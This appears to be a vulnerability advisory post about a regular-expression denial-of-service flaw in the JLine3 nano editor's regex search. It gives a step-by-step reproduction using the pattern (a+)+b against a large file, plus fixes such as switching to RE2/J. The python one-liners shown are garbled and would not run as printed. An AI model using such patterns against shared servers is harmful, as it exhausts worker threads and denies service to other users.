Listen to this Post
JLine3 is a Java library for handling console input, and its built-in nano editor supports a regex search mode. When regex mode is enabled, the user-supplied search term is compiled directly as a Java regular expression using `Pattern.compile()` with no timeout or backtracking bound. If regex mode is disabled, the code uses `Pattern.LITERAL` for safe literal matching. However, when regex mode is active, the search term is treated as a raw regex pattern, and the only flags applied are `CASE_INSENSITIVE` and UNICODE_CASE—neither of which limits backtracking. Java’s regex engine is backtracking-based, so nested-quantifier patterns like `(a+)+b` can cause catastrophic backtracking on non-matching input, taking exponential time relative to input length. The vulnerable code resides in `builtins/src/main/java/org/jline/builtins/Nano.java` within the `doSearch(String text)` method. When a user enters a crafted pattern such as `(a+)+b` while searching a buffer containing a long run of `a` characters, the regex engine attempts every possible way to partition the `a` characters before failing to match the trailing b. This results in the editor session thread hanging at high CPU usage, causing a denial of service for that session. The issue was identified by Michał Majchrowicz and Marcin Wyczechowski of the AFINE Team. Applications embedding `org.jline:jline-builtins` and exposing the nano editor are impacted. In remote multi-user deployments, an attacker can occupy a server worker thread indefinitely.
DailyCVE Form:
Platform: JLine3 Nano
Version: jline-builtins
Vulnerability: Regex DoS
Severity: Medium
date: 2025-06-16
Prediction: 2025-08-01
What Undercode Say:
Create a file with a long run of 'a' characters
python3 -c "print('a' 50000)" > long_a.txt
Open in JLine3 nano editor
java -cp jline-builtins.jar org.jline.builtins.Nano long_a.txt
Enable regex search mode (Ctrl+R or Meta+R depending on config)
Enter the pattern: (a+)+b
// Vulnerable code in Nano.java doSearch() Pattern pat = Pattern.compile( searchTerm, (searchCaseSensitive ? 0 : Pattern.CASE_INSENSITIVE | Pattern.UNICODE_CASE) | (searchRegexp ? 0 : Pattern.LITERAL));
// Affected source location builtins/src/main/java/org/jline/builtins/Nano.java doSearch(String text)
Exploit: (Educational Purposes!)
Reproduction on x86_64 Linux with OpenJDK 25.0.2
Step 1: Prepare payload file
python3 -c "print('a' 100000)" > payload.txt
Step 2: Launch JLine3 nano with the file
java -cp jline-builtins.jar org.jline.builtins.Nano payload.txt
Step 3: Toggle regex search mode
Step 4: Search for: (a+)+b
Result: Editor hangs, thread consumes 100% CPU
Protection: from this CVE
<!-- Add RE2/J dependency to builtins/pom.xml --> <dependency> <groupId>com.google.re2j</groupId> <artifactId>re2j</artifactId> <version>1.8</version> </dependency>
// Replace backtracking engine in Nano.java import com.google.re2j.Pattern; // instead of java.util.regex.Pattern // RE2/J uses linear-time matching, preventing catastrophic backtracking
Fallback mitigation: reject dangerous regex constructs Block nested quantifiers like (a+)+, (a), (a|a) Enforce strict regex matching timeout
Impact:
This denial-of-service vulnerability affects any application embedding `org.jline:jline-builtins` and exposing the nano editor with regex search enabled. In local use, a user can hang their own session by entering a catastrophic backtracking pattern. In remote multi-user deployments, an attacker can occupy a server worker thread indefinitely, leading to resource exhaustion and potential service unavailability. The root cause is the use of Java’s backtracking-based regex engine without timeout or input complexity bounds. The preferred fix is migrating to a linear-time regex engine such as RE2/J while preserving literal matching behavior when regex mode is disabled. If dependency changes are not feasible, fallback mitigations include rejecting dangerous regex constructs or enforcing strict matching timeouts, though these are weaker than engine replacement.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
